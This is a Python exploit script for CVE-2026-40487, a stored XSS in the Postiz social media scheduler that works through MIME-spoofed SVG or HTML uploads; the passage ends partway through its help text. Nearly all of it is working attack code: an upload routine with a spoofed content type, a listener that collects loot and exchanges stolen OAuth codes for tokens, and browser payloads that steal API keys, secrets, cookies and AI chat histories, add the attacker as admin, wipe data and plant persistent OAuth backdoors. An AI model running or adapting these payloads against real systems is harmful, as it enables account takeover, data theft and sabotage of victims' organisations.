astaruf-cve-2026-40487/poc.py

#!/usr/bin/env python3
# Postiz Stored XSS via MIME-Spoofed File Upload
# CVE-2026-40487 | Affected: <= 2.21.5 | Fixed: 2.21.6 | CVSS 3.1: 8.9 High
# CWE-345 / CWE-434 / CWE-79
# Usage: see --help

import argparse
import http.server
import json
import sys
import textwrap
import threading
import urllib.parse
from datetime import datetime

try:
    import requests
except ImportError:
    sys.exit("[!] Missing dependency: requests.  Install it with  pip install requests")

# ====================================================================
# Constants and colour helpers
# ====================================================================

# ANSI escape sequences for terminal colouring
RED    = "\033[91m"
GREEN  = "\033[92m"
YELLOW = "\033[93m"
CYAN   = "\033[96m"
BOLD   = "\033[1m"
DIM    = "\033[2m"
RESET  = "\033[0m"


# Module-level proxy configuration (set from --proxy in main)
PROXIES = {}
VERIFY_SSL = True


def _c(colour, text):
    """Wrap *text* in an ANSI colour sequence."""
    return f"{colour}{text}{RESET}"


def info(msg):
    print(f"{_c(YELLOW, '[*]')} {msg}")


def success(msg):
    print(f"{_c(GREEN, '[+]')} {msg}")


def error(msg):
    print(f"{_c(RED, '[!]')} {msg}")


def banner():
    print(f"""{RED}
 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██████╗  ██╗  ██╗  █████╗  ███████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ██╔═████╗ ██║  ██║ ██╔══██╗ ╚════██║
██║     ██║   ██║█████╗   -2026- ███████║ ██║██╔██║ ███████║ ╚█████╔╝     ██╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║ ████╔╝██║ ╚════██║ ██╔══██╗    ██╔╝
╚██████╗ ╚████╔╝ ███████╗             ██║ ╚██████╔╝      ██║ ╚█████╔╝    ██║
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═════╝       ╚═╝  ╚════╝     ╚═╝
{RESET}
  {_c(YELLOW, 'Postiz <= 2.21.5 — Stored XSS via MIME-Spoofed File Upload')}
""")


# ====================================================================
# Attack registry
# ====================================================================
#
# Each entry maps a CLI name to a human-readable description and a
# category tag used for grouping in --help output.

ATTACKS = {
    # -- Exfiltration (read) ------------------------------------------
    "dump-self":          ("Exfiltrate victim profile, org, API key",              "exfil"),
    "dump-integrations":  ("Exfiltrate connected social media integrations",       "exfil"),
    "dump-posts":         ("Exfiltrate scheduled and draft posts",                 "exfil"),
    "dump-team":          ("Exfiltrate team members, roles, and emails",           "exfil"),
    "dump-media":         ("Exfiltrate media library listing",                     "exfil"),
    "dump-notifications": ("Exfiltrate notification history",                      "exfil"),
    "dump-signatures":    ("Exfiltrate post signatures",                           "exfil"),
    "dump-webhooks":      ("Exfiltrate configured webhooks and their URLs",        "exfil"),
    "dump-oauth-app":     ("Exfiltrate OAuth app credentials (clientId, secret)",  "exfil"),
    "dump-copilot":       ("Exfiltrate AI copilot conversation threads",           "exfil"),
    "dump-billing":       ("Exfiltrate billing and subscription information",      "exfil"),
    "dump-personal":      ("Exfiltrate personal details (name, bio, picture)",     "exfil"),
    "dump-settings":      ("Exfiltrate shortlink and notification settings",       "exfil"),
    "dump-third-party":   ("Exfiltrate third-party integration configs",           "exfil"),
    "dump-autopost":      ("Exfiltrate autopost rules",                            "exfil"),
    "dump-sets":          ("Exfiltrate content sets",                              "exfil"),
    "dump-tags":          ("Exfiltrate post tags",                                 "exfil"),
    "dump-customers":     ("Exfiltrate customer list",                             "exfil"),
    "full-dump":          ("Exfiltrate everything in a single payload",            "exfil"),

    # -- Privilege escalation -----------------------------------------
    "add-admin":          ("Invite attacker as ADMIN into victim org",             "privesc"),
    "rotate-key":         ("Rotate org API key, exfiltrate the new one",           "privesc"),
    "rotate-oauth":       ("Rotate OAuth app secret, exfiltrate it",              "privesc"),

    # -- Sabotage (availability / integrity) --------------------------
    "kill-notifications": ("Disable all email notifications for the victim",       "sabotage"),
    "edit-profile":       ("Modify victim's display name and bio",                  "sabotage"),
    "wipe-signatures":    ("Delete all post signatures",                           "sabotage"),
    "wipe-webhooks":      ("Delete all configured webhooks",                       "sabotage"),
    "wipe-tags":          ("Delete all post tags",                                 "sabotage"),
    "wipe-sets":          ("Delete all content sets",                              "sabotage"),
    "wipe-autopost":      ("Delete all autopost rules",                            "sabotage"),
    "logout-victim":      ("Force-logout the victim (invalidate session)",         "sabotage"),
    "delete-oauth-app":   ("Delete the victim's OAuth application",                "sabotage"),

    # -- Backdoor (persistence) ---------------------------------------
    "create-oauth-app":   ("Create OAuth app, auto-approve, exfil token (persistent backdoor)", "backdoor"),
    "steal-cookie":       ("Steal auth cookie via document.cookie (NOT_SECURED only)",          "backdoor"),

    # -- Generic / advanced -------------------------------------------
    "api-call":           ("Arbitrary authenticated API call (--api-method, --api-path)",  "generic"),
    "custom":             ("Execute arbitrary JavaScript (--custom-js)",                   "generic"),
}


# ====================================================================
# Exfiltration HTTP server
# ====================================================================

class ExfilHandler(http.server.BaseHTTPRequestHandler):
    """Minimal HTTP handler that receives stolen data and logs it."""

    loot: list    # class-level, set before server starts
    target: str   # class-level, base URL for auto token exchange

    def do_GET(self):
        self._handle()

    def do_POST(self):
        length = int(self.headers.get("Content-Length", 0))
        body = self.rfile.read(length).decode(errors="replace") if length else ""
        self._handle(body)

    def do_OPTIONS(self):
        self.send_response(204)
        self._cors()
        self.end_headers()

    # -- internal helpers ---------------------------------------------

    def _cors(self):
        self.send_header("Access-Control-Allow-Origin", "*")
        self.send_header("Access-Control-Allow-Headers", "*")
        self.send_header("Access-Control-Allow-Methods", "GET, POST, OPTIONS")

    def _handle(self, post_body=None):
        parsed = urllib.parse.urlparse(self.path)
        qs = urllib.parse.parse_qs(parsed.query)

        entry = {
            "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
            "path": parsed.path,
            "params": {k: v[0] if len(v) == 1 else v for k, v in qs.items()},
        }

        if post_body:
            try:
                entry["body"] = json.loads(post_body)
            except json.JSONDecodeError:
                entry["body"] = post_body

        self.__class__.loot.append(entry)

        # Pretty-print to console
        print(f"\n{_c(GREEN, '[+]')} Loot received @ {entry['time']}")
        payload = entry.get("body") or entry["params"]
        if isinstance(payload, dict):
            for k, v in payload.items():
                display = v
                if isinstance(v, str) and len(v) > 200:
                    display = v[:200] + "..."
                elif isinstance(v, (dict, list)):
                    display = json.dumps(v, indent=2, default=str)
                print(f"    {_c(CYAN, k)}: {display}")
        else:
            print(f"    {payload}")

        # Auto-exchange OAuth authorization code for a persistent token
        self._maybe_exchange_oauth(entry)

        self.send_response(200)
        self._cors()
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"ok")

    def _maybe_exchange_oauth(self, entry):
        """If loot is an oauth-backdoor with an auth code, exchange it for a token."""
        body = entry.get("body")
        if not isinstance(body, dict):
            return
        if body.get("tag") != "oauth-backdoor":
            return
        data = body.get("data", {})
        code = data.get("authCode")
        client_id = data.get("clientId")
        client_secret = data.get("clientSecret")
        redirect_url = data.get("redirectUrl")
        if not all([code, client_id, client_secret]):
            return
        target = self.__class__.target
        if not target:
            return
        # Run in a separate thread to avoid blocking the HTTP response
        threading.Thread(
            target=self._do_token_exchange,
            args=(target, client_id, client_secret, code, redirect_url),
            daemon=True,
        ).start()

    @staticmethod
    def _do_token_exchange(target, client_id, client_secret, code, redirect_url):
        """POST /api/oauth/token to exchange the auth code for a persistent token."""
        try:
            r = requests.post(f"{target}/api/oauth/token", json={
                "grant_type": "authorization_code",
                "code": code,
                "client_id": client_id,
                "client_secret": client_secret,
                "redirect_uri": redirect_url or "",
            }, proxies=PROXIES, verify=VERIFY_SSL)
            if r.status_code in (200, 201):
                token_data = r.json()
                token = token_data.get("access_token", token_data)
                print(f"\n{_c(GREEN, '[+]')} OAuth token exchanged automatically!")
                print(f"    {_c(CYAN, 'access_token')}: {token}")
                print(f"    {_c(DIM, 'Use as: Authorization: <token> (no Bearer prefix)')}")
                ExfilHandler.loot.append({
                    "time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
                    "path": "/auto-exchange",
                    "body": {"tag": "oauth-token", "data": token_data},
                })
            else:
                print(f"\n{_c(YELLOW, '[*]')} OAuth token exchange returned {r.status_code}: {r.text[:200]}")
        except Exception as exc:
            print(f"\n{_c(RED, '[!]')} OAuth token exchange failed: {exc}")

    def log_message(self, *_args):
        """Suppress default request logging."""
        pass


def start_exfil_server(port, target=""):
    """Launch the exfiltration listener on all interfaces in a daemon thread."""
    ExfilHandler.loot = []
    ExfilHandler.target = target
    srv = http.server.HTTPServer(("0.0.0.0", port), ExfilHandler)
    t = threading.Thread(target=srv.serve_forever, daemon=True)
    t.start()
    return srv


# ====================================================================
# JavaScript payload building blocks
# ====================================================================

def _svg_wrapper(js_body):
    """Embed JavaScript inside an SVG file that executes on open."""
    return textwrap.dedent(f"""\
        <svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
        <rect width="1" height="1" fill="white"/>
        <script type="text/javascript">
        // <![CDATA[
        {js_body}
        // ]]>
        </script>
        </svg>""")


def _html_wrapper(js_body):
    """Embed JavaScript inside an HTML file for full-page payloads."""
    return textwrap.dedent(f"""\
        <!DOCTYPE html>
        <html>
        <head><title>Loading...</title></head>
        <body style="background:white">
        <p></p>
        <script>
        {js_body}
        </script>
        </body>
        </html>""")


def _exfil_js(exfil_url, tag, data_expr):
    """Return JS code that POSTs JSON data to the exfil server."""
    return textwrap.dedent(f"""\
        fetch("{exfil_url}", {{
          method: "POST",
          headers: {{"Content-Type": "application/json"}},
          body: JSON.stringify({{tag: "{tag}", data: {data_expr}}})
        }}).catch(function(){{}});""")


def _fetch_and_exfil(exfil_url, tag, endpoint, method="GET", body=None):
    """Return JS that calls an API endpoint and sends the response to exfil."""
    opts = f'method: "{method}", credentials: "include"'
    if body:
        opts += f', headers: {{"Content-Type": "application/json"}}, body: JSON.stringify({body})'
    return textwrap.dedent(f"""\
        fetch("{endpoint}", {{{opts}}})
          .then(function(r) {{
            var ct = r.headers.get("content-type") || "";
            return ct.indexOf("json") > -1 ? r.json() : r.text();
          }})
          .then(function(d) {{
            {_exfil_js(exfil_url, tag, "d")}
          }}).catch(function(){{}});""")


def _action_then_exfil(exfil_url, tag, endpoint, method, body, readback_endpoint):
    """Perform a write action, then read back and exfil the result."""
    body_js = json.dumps(body) if isinstance(body, dict) else body
    return textwrap.dedent(f"""\
        fetch("{endpoint}", {{
          method: "{method}",
          credentials: "include",
          headers: {{"Content-Type": "application/json"}},
          body: JSON.stringify({body_js})
        }})
        .then(function(r) {{ return r.json().catch(function() {{ return {{}}; }}); }})
        .then(function(writeResult) {{
          return fetch("{readback_endpoint}", {{credentials: "include"}})
            .then(function(r2) {{ return r2.json(); }})
            .then(function(readResult) {{
              {_exfil_js(exfil_url, tag, '{action: writeResult, current: readResult}')}
            }});
        }}).catch(function(){{}});""")


# ====================================================================
# Payload generators, one per attack mode
# ====================================================================

# -- Exfiltration payloads -------------------------------------------

def gen_dump_self(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "victim-profile", "/api/user/self")


def gen_dump_integrations(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "integrations", "/api/integrations/list")


def gen_dump_posts(exfil_url, _args):
    return textwrap.dedent(f"""\
        (function() {{
          var now = new Date();
          var start = new Date(now.getTime() - 365*24*60*60*1000);
          var end   = new Date(now.getTime() + 365*24*60*60*1000);
          var qs = "startDate=" + start.toISOString() + "&endDate=" + end.toISOString();
          fetch("/api/posts?" + qs, {{credentials: "include"}})
            .then(function(r) {{ return r.json(); }})
            .then(function(d) {{
              {_exfil_js(exfil_url, "posts", "d")}
            }}).catch(function(){{}});
        }})();""")


def gen_dump_team(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "team-members", "/api/settings/team")


def gen_dump_media(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "media-library", "/api/media?page=1")


def gen_dump_notifications(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "notifications", "/api/notifications/list")


def gen_dump_signatures(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "signatures", "/api/signatures")


def gen_dump_webhooks(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "webhooks", "/api/webhooks")


def gen_dump_oauth_app(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "oauth-app", "/api/user/oauth-app")


def gen_dump_copilot(exfil_url, _args):
    return textwrap.dedent(f"""\
        fetch("/api/copilot/list", {{credentials: "include"}})
          .then(function(r) {{ return r.json(); }})
          .then(function(data) {{
            var threads = data.threads || [];
            {_exfil_js(exfil_url, "copilot-threads", "threads")}
            var chain = Promise.resolve();
            threads.forEach(function(t) {{
              chain = chain.then(function() {{
                return fetch("/api/copilot/" + t.id + "/list", {{credentials: "include"}})
                  .then(function(r) {{ return r.json(); }})
                  .then(function(messages) {{
                    fetch("{exfil_url}", {{
                      method: "POST",
                      headers: {{"Content-Type": "application/json"}},
                      body: JSON.stringify({{tag: "copilot-thread-" + t.id, data: {{title: t.title, messages: messages}}}})
                    }}).catch(function(){{}});
                  }});
              }});
            }});
            return chain;
          }}).catch(function(){{}});""")


def gen_dump_billing(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "billing", "/api/billing")


def gen_dump_personal(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "personal", "/api/user/personal")


def gen_dump_settings(exfil_url, _args):
    return "\n".join([
        _fetch_and_exfil(exfil_url, "shortlink-settings", "/api/settings/shortlink"),
        _fetch_and_exfil(exfil_url, "email-notifications", "/api/user/email-notifications"),
    ])


def gen_dump_third_party(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "third-party", "/api/third-party")


def gen_dump_autopost(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "autopost-rules", "/api/autopost")


def gen_dump_sets(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "sets", "/api/sets")


def gen_dump_tags(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "tags", "/api/posts/tags")


def gen_dump_customers(exfil_url, _args):
    return _fetch_and_exfil(exfil_url, "customers", "/api/integrations/customers")


def gen_full_dump(exfil_url, _args):
    """Comprehensive dump: fires all read endpoints in parallel."""
    endpoints = [
        ("victim-profile",     "/api/user/self"),
        ("personal",           "/api/user/personal"),
        ("organizations",      "/api/user/organizations"),
        ("team-members",       "/api/settings/team"),
        ("integrations",       "/api/integrations/list"),
        ("media-library",      "/api/media?page=1"),
        ("notifications",      "/api/notifications/list"),
        ("signatures",         "/api/signatures"),
        ("webhooks",           "/api/webhooks"),
        ("oauth-app",          "/api/user/oauth-app"),
        ("billing",            "/api/billing"),
        ("shortlink-settings", "/api/settings/shortlink"),
        ("email-notifications","/api/user/email-notifications"),
        ("third-party",        "/api/third-party"),
        ("autopost-rules",     "/api/autopost"),
        ("sets",               "/api/sets"),
        ("tags",               "/api/posts/tags"),
        ("customers",          "/api/integrations/customers"),
        ("approved-apps",      "/api/user/approved-apps"),
    ]
    parts = []
    for tag, ep in endpoints:
        parts.append(_fetch_and_exfil(exfil_url, tag, ep))

    # Posts require dynamic date range
    parts.append(gen_dump_posts(exfil_url, _args))
    # Copilot: list threads, then fetch messages for each
    parts.append(gen_dump_copilot(exfil_url, _args))
    return "\n".join(parts)


# -- Privilege escalation payloads -----------------------------------

def gen_add_admin(exfil_url, args):
    email = args.attacker_email
    return _action_then_exfil(
        exfil_url, "admin-invite",
        "/api/settings/team", "POST",
        {"email": email, "role": "ADMIN", "sendEmail": False},
        "/api/settings/team",
    )


def gen_rotate_key(exfil_url, _args):
    return textwrap.dedent(f"""\
        fetch("/api/user/api-key/rotate", {{
          method: "POST", credentials: "include"
        }})
        .then(function() {{
          return fetch("/api/user/self", {{credentials: "include"}});
        }})
        .then(function(r) {{ return r.json(); }})
        .then(function(d) {{
          {_exfil_js(exfil_url, "rotated-api-key", '{email: d.email, orgId: d.orgId, apiKey: d.publicApi}')}
        }}).catch(function(){{}});""")


def gen_rotate_oauth(exfil_url, _args):
    return textwrap.dedent(f"""\
        fetch("/api/user/oauth-app/rotate-secret", {{
          method: "POST", credentials: "include"
        }})
        .then(function(r) {{ return r.json(); }})
        .then(function(secret) {{
          return fetch("/api/user/oauth-app", {{credentials: "include"}})
            .then(function(r2) {{ return r2.json(); }})
            .then(function(app) {{
              {_exfil_js(exfil_url, "oauth-rotated", '{app: app, newSecret: secret}')}
            }});
        }}).catch(function(){{}});""")


# -- Sabotage payloads -----------------------------------------------

def gen_kill_notifications(exfil_url, _args):
    return _action_then_exfil(
        exfil_url, "notifications-killed",
        "/api/user/email-notifications", "POST",
        {"sendSuccessEmails": False, "sendFailureEmails": False, "sendStreakEmails": False},
        "/api/user/email-notifications",
    )


def gen_edit_profile(exfil_url, args):
    name = getattr(args, "edit_name", None) or "pwned"
    bio  = getattr(args, "edit_bio", None)  or "Account compromised via Stored XSS"
    return _action_then_exfil(
        exfil_url, "profile-edited",
        "/api/user/personal", "POST",
        {"fullname": name, "bio": bio},
        "/api/user/personal",
    )


def _gen_wipe(exfil_url, list_endpoint, delete_base, tag, id_field="id"):
    """Generic wipe: list items, then delete each one."""
    return textwrap.dedent(f"""\
        fetch("{list_endpoint}", {{credentials: "include"}})
          .then(function(r) {{ return r.json(); }})
          .then(function(data) {{
            var items = Array.isArray(data) ? data : (data.tags || data.webhooks || data.sets || data.autopost || Object.values(data).find(Array.isArray) || []);
            var deleted = [];
            var chain = Promise.resolve();
            items.forEach(function(item) {{
              chain = chain.then(function() {{
                return fetch("{delete_base}/" + item.{id_field}, {{
                  method: "DELETE", credentials: "include"
                }}).then(function() {{ deleted.push(item.{id_field}); }});
              }});
            }});
            return chain.then(function() {{
              {_exfil_js(exfil_url, tag, '{deleted: deleted, count: deleted.length}')}
            }});
          }}).catch(function(){{}});""")


def gen_wipe_signatures(exfil_url, _args):
    return _gen_wipe(exfil_url, "/api/signatures", "/api/signatures", "signatures-wiped")


def gen_wipe_webhooks(exfil_url, _args):
    return _gen_wipe(exfil_url, "/api/webhooks", "/api/webhooks", "webhooks-wiped")


def gen_wipe_tags(exfil_url, _args):
    return _gen_wipe(exfil_url, "/api/posts/tags", "/api/posts/tags", "tags-wiped")


def gen_wipe_sets(exfil_url, _args):
    return _gen_wipe(exfil_url, "/api/sets", "/api/sets", "sets-wiped")


def gen_wipe_autopost(exfil_url, _args):
    return _gen_wipe(exfil_url, "/api/autopost", "/api/autopost", "autopost-wiped")


def gen_logout_victim(exfil_url, _args):
    return textwrap.dedent(f"""\
        fetch("/api/user/logout", {{
          method: "POST", credentials: "include"
        }})
        .then(function() {{
          {_exfil_js(exfil_url, "victim-logged-out", '"session destroyed"')}
        }}).catch(function(){{}});""")


def gen_delete_oauth_app(exfil_url, _args):
    return textwrap.dedent(f"""\
        fetch("/api/user/oauth-app", {{credentials: "include"}})
          .then(function(r) {{ return r.json(); }})
          .then(function(app) {{
            if (!app || app === false) {{
              {_exfil_js(exfil_url, "oauth-app-delete", '"no oauth app found"')}
              return;
            }}
            return fetch("/api/user/oauth-app", {{
              method: "DELETE", credentials: "include"
            }}).then(function() {{
              {_exfil_js(exfil_url, "oauth-app-deleted", '{deleted: app}')}
            }});
          }}).catch(function(){{}});""")


# -- Backdoor payloads -----------------------------------------------

def gen_create_oauth_app(exfil_url, args):
    redirect = getattr(args, "oauth_redirect", None) or "https://attacker.evil/callback"
    return textwrap.dedent(f"""\
        // Step 1: Delete existing OAuth app if any, then create a new one
        fetch("/api/user/oauth-app", {{method: "DELETE", credentials: "include"}})
        .catch(function(){{}})
        .then(function() {{
          return fetch("/api/user/oauth-app", {{
            method: "POST",
            credentials: "include",
            headers: {{"Content-Type": "application/json"}},
            body: JSON.stringify({{
              name: "Postiz Integration",
              description: "Social media sync",
              redirectUrl: "{redirect}",
              picturePath: ""
            }})
          }});
        }})
        .then(function(r) {{ return r.json(); }})
        .then(function(app) {{
          // Step 2: Approve the OAuth app as the victim
          return fetch("/api/oauth/authorize", {{
            method: "POST",
            credentials: "include",
            headers: {{"Content-Type": "application/json"}},
            body: JSON.stringify({{
              client_id: app.clientId,
              action: "approve",
              state: "xss"
            }})
          }})
          .then(function(r2) {{ return r2.json(); }})
          .then(function(authResult) {{
            // Extract the authorization code from the redirect URL
            var url = authResult.redirect || "";
            var code = "";
            var match = url.match(/code=([^&]+)/);
            if (match) code = match[1];
            fetch("{exfil_url}", {{
                      method: "POST",
                      headers: {{"Content-Type": "application/json"}},
                      body: JSON.stringify({{tag: "oauth-backdoor", data: {{clientId: app.clientId, clientSecret: app.clientSecret, authCode: code, redirectUrl: app.redirectUrl}}}})
                    }}).catch(function(){{}});
          }});
        }}).catch(function(){{}});""")


def gen_steal_cookie(exfil_url, _args):
    return textwrap.dedent(f"""\
        (function() {{
          var c = document.cookie;
          if (!c) {{
            {_exfil_js(exfil_url, "cookie-theft-failed", '"document.cookie is empty (HttpOnly is set)"')}
            return;
          }}
          {_exfil_js(exfil_url, "stolen-cookie", "c")}
        }})();""")


# -- Generic payloads ------------------------------------------------

def gen_api_call(exfil_url, args):
    method = args.api_method or "GET"
    path   = args.api_path
    body   = args.api_body
    return _fetch_and_exfil(exfil_url, "api-response", path, method, body)


def gen_custom(exfil_url, args):
    custom_js = args.custom_js
    return textwrap.dedent(f"""\
        Promise.resolve(({custom_js}))
          .then(function(d) {{
            if (d && typeof d.json === "function") return d.json();
            return d;
          }})
          .then(function(result) {{
            {_exfil_js(exfil_url, "custom", "result")}
          }}).catch(function(){{}});""")


# Map attack names to generator functions
GENERATORS = {
    "dump-self":          gen_dump_self,
    "dump-integrations":  gen_dump_integrations,
    "dump-posts":         gen_dump_posts,
    "dump-team":          gen_dump_team,
    "dump-media":         gen_dump_media,
    "dump-notifications": gen_dump_notifications,
    "dump-signatures":    gen_dump_signatures,
    "dump-webhooks":      gen_dump_webhooks,
    "dump-oauth-app":     gen_dump_oauth_app,
    "dump-copilot":       gen_dump_copilot,
    "dump-billing":       gen_dump_billing,
    "dump-personal":      gen_dump_personal,
    "dump-settings":      gen_dump_settings,
    "dump-third-party":   gen_dump_third_party,
    "dump-autopost":      gen_dump_autopost,
    "dump-sets":          gen_dump_sets,
    "dump-tags":          gen_dump_tags,
    "dump-customers":     gen_dump_customers,
    "full-dump":          gen_full_dump,
    "add-admin":          gen_add_admin,
    "rotate-key":         gen_rotate_key,
    "rotate-oauth":       gen_rotate_oauth,
    "kill-notifications": gen_kill_notifications,
    "edit-profile":       gen_edit_profile,
    "wipe-signatures":    gen_wipe_signatures,
    "wipe-webhooks":      gen_wipe_webhooks,
    "wipe-tags":          gen_wipe_tags,
    "wipe-sets":          gen_wipe_sets,
    "wipe-autopost":      gen_wipe_autopost,
    "logout-victim":      gen_logout_victim,
    "delete-oauth-app":   gen_delete_oauth_app,
    "create-oauth-app":   gen_create_oauth_app,
    "steal-cookie":       gen_steal_cookie,
    "api-call":           gen_api_call,
    "custom":             gen_custom,
}


# ====================================================================
# Authentication helpers
# ====================================================================

def _extract_auth(resp):
    """Pull the auth token from cookies or headers."""
    for cookie in resp.cookies:
        if cookie.name == "auth":
            return cookie.value
    sc = resp.headers.get("Set-Cookie", "")
    if "auth=" in sc:
        return sc.split("auth=")[1].split(";")[0]
    auth_hdr = resp.headers.get("auth")
    if auth_hdr:
        return auth_hdr
    return None


def _parse_cookie_flags(response):
    """Extract security flags from the Set-Cookie header for the auth cookie."""
    flags = {"httponly": False, "secure": False, "samesite": ""}
    sc = response.headers.get("Set-Cookie", "")
    if "auth=" not in sc:
        return flags
    parts = [p.strip().lower() for p in sc.split(";")]
    for p in parts:
        if p == "httponly":
            flags["httponly"] = True
        elif p == "secure":
            flags["secure"] = True
        elif p.startswith("samesite="):
            flags["samesite"] = p.split("=", 1)[1]
    return flags


def authenticate(target, email, password, register=False, company="TestOrg"):
    """Optionally register, then log in.  Returns (session, auth_token, cookie_flags)."""
    s = requests.Session()
    s.proxies.update(PROXIES)
    s.verify = VERIFY_SSL

    if register:
        info(f"Registering {email} ...")
        r = s.post(f"{target}/api/auth/register", json={
            "provider": "LOCAL",
            "email": email,
            "password": password,
            "company": company,
        })
        if r.status_code == 200:
            auth = _extract_auth(r)
            if auth:
                success("Registered and authenticated.")
                return s, auth, _parse_cookie_flags(r)
            success("Registered (activation may be required).")
        else:
            info(f"Registration returned {r.status_code}, trying login ...")

    info(f"Logging in as {email} ...")
    r = s.post(f"{target}/api/auth/login", json={
        "provider": "LOCAL",
        "email": email,
        "password": password,
    })
    if r.status_code != 200:
        error(f"Login failed ({r.status_code}): {r.text}")
        sys.exit(1)

    auth = _extract_auth(r)
    if not auth:
        error("No auth cookie in response.")
        sys.exit(1)

    success("Authenticated.")
    return s, auth, _parse_cookie_flags(r)


# ====================================================================
# Payload upload
# ====================================================================

def upload_payload(target, auth=None, token=None, content="", extension="svg"):
    """Upload the XSS payload with a spoofed Content-Type header.

    Uses the internal API with auth cookie, or the Public API v1 with
    a pos_* token / API key.
    """
    info(f"Uploading malicious .{extension} with Content-Type: image/png ...")
    filename = f"image.{extension}"
    file_tuple = ("file", (filename, content.encode(), "image/png"))

    if token:
        r = requests.post(
            f"{target}/api/public/v1/upload",
            headers={"Authorization": token},
            files=[file_tuple],
            proxies=PROXIES, verify=VERIFY_SSL,
        )
    else:
        r = requests.post(
            f"{target}/api/media/upload-server",
            cookies={"auth": auth},
            files=[file_tuple],
            proxies=PROXIES, verify=VERIFY_SSL,
        )

    if r.status_code not in (200, 201):
        error(f"Upload failed ({r.status_code}): {r.text}")
        sys.exit(1)

    data = r.json()
    path = data.get("path", "")
    success("Upload successful.")
    print(f"    {_c(CYAN, 'ID')}:   {data.get('id')}")
    print(f"    {_c(CYAN, 'Path')}: {path}")
    return path


# ====================================================================
# Loot persistence
# ====================================================================

def save_loot(output_path=None):
    """Dump collected loot to a JSON file."""
    if not ExfilHandler.loot:
        info("No loot received.")
        return
    dump_path = output_path or f"loot-{datetime.now().strftime('%Y%m%d-%H%M%S')}.json"
    with open(dump_path, "w") as f:
        json.dump(ExfilHandler.loot, f, indent=2, default=str)
    success(f"Total loot entries: {len(ExfilHandler.loot)}")
    success(f"Saved to {dump_path}")


# ====================================================================
# CLI
# ====================================================================

def build_parser():
    epilog = textwrap.dedent("""\
    How it works
    ============
    The exploit authenticates, uploads a malicious SVG/HTML file with a
    spoofed MIME type, and starts a listener. When a victim opens the
    returned URL, JavaScript executes in the app's origin and performs
    the chosen attack, sending stolen data back to the listener.

    Authentication: --email/--password OR --token
    ==============================================
    By default, the exploit logs in with an attacker account to upload
    the payload. Alternatively, use --token with a pos_* OAuth token
    or an org API key to upload via the Public API, without needing
    an account at all.

    Three attacks help you obtain a token for future use:
      - create-oauth-app   The victim's browser creates an OAuth app,
                           approves it, and the exploit automatically
                           exchanges the auth code for a persistent
                           pos_* token. This token never expires and
                           works even if the victim changes password.
      - dump-self          Exfiltrates the org API key (publicApi field).
      - rotate-key         Rotates the org API key and exfiltrates it.

    Once you have a token, you can re-run the exploit with --token
    to upload new payloads targeting other victims, without credentials
    and without any account on the platform:

      1. %(prog)s ... -e att@ck.er -p ... -a create-oauth-app
         --> victim clicks --> you get pos_XXXX token
      2. %(prog)s ... -t pos_XXXX -a full-dump
         --> uploads new payload, sends URL to next victim

    Attack modes
    ============

    Exfiltration (read-only, steal victim data):
      dump-self              Victim profile, org info, tier, API key
      dump-personal          Display name, bio, profile picture
      dump-integrations      Connected social media integrations and tokens
      dump-posts             Scheduled and draft posts (last 365 days)
      dump-team              Team members, roles, and email addresses
      dump-media             Media library listing (uploaded files)
      dump-notifications     Notification history
      dump-signatures        Post signatures
      dump-webhooks          Configured webhooks and their target URLs
      dump-oauth-app         OAuth app credentials (clientId, clientSecret)
      dump-copilot           AI copilot threads and full conversation history
      dump-billing           Billing and subscription information
      dump-settings          Shortlink preferences and email notification settings
      dump-third-party       Third-party integration configurations
      dump-autopost          Autopost rules (RSS feeds, scheduling)
      dump-sets              Content sets
      dump-tags              Post tags
      dump-customers         Customer list
      full-dump              All of the above in a single payload

    Privilege Escalation:
      add-admin              Invite attacker as ADMIN into victim's org
                             Requires: --attacker-email
      rotate-key             Rotate org API key and exfiltrate the new one
      rotate-oauth           Rotate OAuth app secret and exfiltrate it

    Sabotage (destructive actions):
      kill-notifications     Disable all email notifications for the victim
      edit-profile           Modify victim's display name and bio
                             Options: --edit-name, --edit-bio
      wipe-signatures        Delete all post signatures
      wipe-webhooks          Delete all configured webhooks
      wipe-tags              Delete all post tags
      wipe-sets              Delete all content sets
      wipe-autopost          Delete all autopost rules
      logout-victim          Force-logout the victim (invalidate session cookie)
      delete-oauth-app       Delete the victim's OAuth application

    Backdoor (persistent access):
      steal-cookie           Steal auth cookie via document.cookie. Only works
                             when NOT_SECURED=true (cookie lacks HttpOnly).
                             The stolen JWT never expires — permanent access.
                             Use --check first to verify if the cookie is exposed.
      create-oauth-app       Create OAuth app in victim's org, auto-approve it,
                             and exfiltrate clientId + clientSecret + auth code.
                             The exploit auto-exchanges the code for a persistent
                             pos_* token (printed in green). Use it with --token
                             to run further attacks without credentials.
                             Options: --oauth-redirect

    Generic (advanced):
      api-call               Arbitrary authenticated API call as the victim
                             Requires: --api-path
                             Options: --api-method (default: GET), --api-body
      custom                 Execute arbitrary JavaScript in victim's browser
                             Requires: --custom-js

    Vulnerability check (--check)
    =============================
    Upload a benign SVG with spoofed MIME type and inspect response
    headers. Reports whether the target is vulnerable without running
    any attack. Does not require --lhost or --attack.

      %(prog)s http://target:5000 -e att@ck.er -p S3cret! --check
      %(prog)s http://target:5000 -t pos_XXXX...XXXX --check

    Examples
    ========
      # Register a throwaway account and exfiltrate everything
      %(prog)s http://target:5000 --register -e att@ck.er -p S3cret! \\
          -c PwnCorp --lhost 10.0.0.1 -a full-dump

      # Invite attacker as org admin
